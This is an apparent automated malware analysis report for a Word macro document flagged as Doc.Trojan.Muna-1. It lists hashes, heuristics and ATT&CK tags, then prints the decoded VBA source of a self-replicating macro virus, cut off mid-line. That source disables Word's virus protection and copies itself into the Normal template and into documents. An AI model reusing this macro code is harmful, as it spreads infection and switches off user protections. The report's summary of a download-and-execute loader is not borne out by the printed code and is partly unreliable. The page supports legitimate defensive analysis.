Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81db874b57dc58ab…

MALICIOUS

Office (OLE)

40.0 KB Created: 2001-06-02 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 28ef7b262e620ca8e5f1deafa559afd9 SHA-1: 385bbd6c606cca532d338e7324da2c00a59fff9e SHA-256: 81db874b57dc58abe2a65297ed53ef6f95c5dd5bc064dfa2b72bf1e3be3a5b28
360 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is a malicious OLE document containing an obfuscated VBA macro loader. The AutoOpen macro attempts to disable virus protection and uses custom decoding routines to execute its payload. It also manipulates document variables and AutoText entries, likely to control execution flow or store configuration. The presence of Shell() calls and the overall structure strongly indicate it's designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Trojan.Muna-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Muna-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6274 bytes
SHA-256: 8fdf08d83351506aad7a29f566e54e51c7898387ede9403850d8f5ab080d2380
Detection
ClamAV: Doc.Trojan.Muna-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"


Public Sub Main()
Options.VirusProtection = False
If Templates(1).AutoTextEntries.Item(1) = "IAMHERE1" Then GoTo done Else
Call PROCS.FtoT
Options.VirusProtection = False
Templates(1).AutoTextEntries.Add("- AAAAAAAA", ActiveDocument.Words(1)) = "IAMHERE1"
Templates(1).AutoTextEntries.Add("- AAAAAAAB", ActiveDocument.Words(1)) = "26/veb/2000 omk{MM}MUNA"
Templates(1).Save
done:
On Error GoTo kill
kill:
End Sub

Attribute VB_Name = "FS"

Public Sub Main()
On Error GoTo kill

If (ActiveDocument.Variables.Count > 0) Then If (ActiveDocument.Variables(1).Name = "AAAAAAAA") Then If (ActiveDocument.Variables.Item("AAAAAAAA").Value = "OK1") Then GoTo done Else
PROCS.TtoF

For Each junn In ActiveDocument.Variables
If junn.Name = "AAAAAAAA" Then junn.Delete
Next junn
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK1"

done:
ActiveDocument.Save

kill:
End Sub


Attribute VB_Name = "FSA"

Public Sub Main()
On Error GoTo kill
Dialogs(wdDialogFileSaveAs).Show
If (ActiveDocument.Variables.Count > 0) Then If (ActiveDocument.Variables(1).Name = "AAAAAAAA") Then If (ActiveDocument.Variables.Item("AAAAAAAA").Value = "OK1") Then GoTo done Else
PROCS.TtoF
For Each junn In ActiveDocument.Variables
If junn.Name = "AAAAAAAA" Then junn.Delete
Next junn
ActiveDocument.Variables.Add Name:="AAAAAAAA", Value:="OK1"

done:
ActiveDocument.SaveAs (Dialogs(wdDialogFileSaveAs).Name)

kill:
End Sub

Attribute VB_Name = "PROCS"
' (02.06.01 15:16:11/fayer/Russian-aaaaaaaaa50578-335-0334013-01796)
' start
' LOF_KEERME

Public Sub fuckinfprot(f, t)
Dim nme As String
nme = "PRO" + "CS" ' gotcha fprot!!
Application.OrganizerCopy Source:=f, Destination:=t, Name:=nme, Object:=wdOrganizerObjectProjectItems
End Sub
Public Sub TtoF()
Dim mc, ad, rt As String
Dim oneiole As Boolean
mc = MacroContainer.FullName
ad = ActiveDocument.FullName
For Each saker In ActiveDocument.VBProject.VBComponents
If (saker.Name = "AO") Or (saker.Name = "AutoOpen") Or (saker.Name = "Bold") Or (saker.Name = "BLD") Or (saker.Name = "FileSave") Or (saker.Name = "FS") Or (saker.Name = "FileSaveAs") Or (saker.Name = "FSA") Or (saker.Name = "PROCS") Then
Call Application.OrganizerDelete(ad, saker.Name, wdOrganizerObjectProjectItems)
End If
Next saker
Application.OrganizerCopy Source:=mc, Destination:=ad, Name:="AO", Object:=wdOrganizerObjectProjectItems
Application.OrganizerRename Source:=ad, Name:="AO", NewName:="AutoOpen", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=mc, Destination:=ad, Name:="FileSave", Object:=wdOrganizerObjectProjectItems
Application.OrganizerRename Source:=ad, Name:="FileSave", NewName:="FS", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=mc, Destination:=ad, Name:="FileSaveAs", Object:=wdOrganizerObjectProjectItems
Application.OrganizerRename Source:=ad, Name:="FileSaveAs", NewName:="FSA", Object:=wdOrganizerObjectProjectItems
Call fuckinfprot(mc, ad)
Application.OrganizerCopy Source:=mc, Destination:=ad, Name:="Bold", Object:=wdOrganizerObjectProjectItems
Application.OrganizerRename Source:=ad, Name:="Bold", NewName:="BLD", Object:=wdOrganizerObjectProjectItems

oneiole = False
End Sub
Public Sub FtoT()
Dim mc, ad, rt As String
Dim aaa
mc = MacroContainer.FullName
ad = Application.Templates(1).FullName
For Each saker In Templates(1).VBProject.VBComponents
If (saker.Name = "AO") Or (saker.Name = "AutoOpen") Or (saker.Name = "Bold") Or (saker.Name = "BLD") Or (saker.Name = "FileSave") Or (saker.Name = "FS") Or (saker.Name = "FileSaveAs") Or (saker.Name = "FSA") Or (saker.Name = "PROCS") Then
Call Application.OrganizerDelete(ad, saker.Name, wdOrganizerObjectProjectItems)
End If
Next saker

Application.OrganizerCopy Source:=mc, Destination:=ad, 
... (truncated)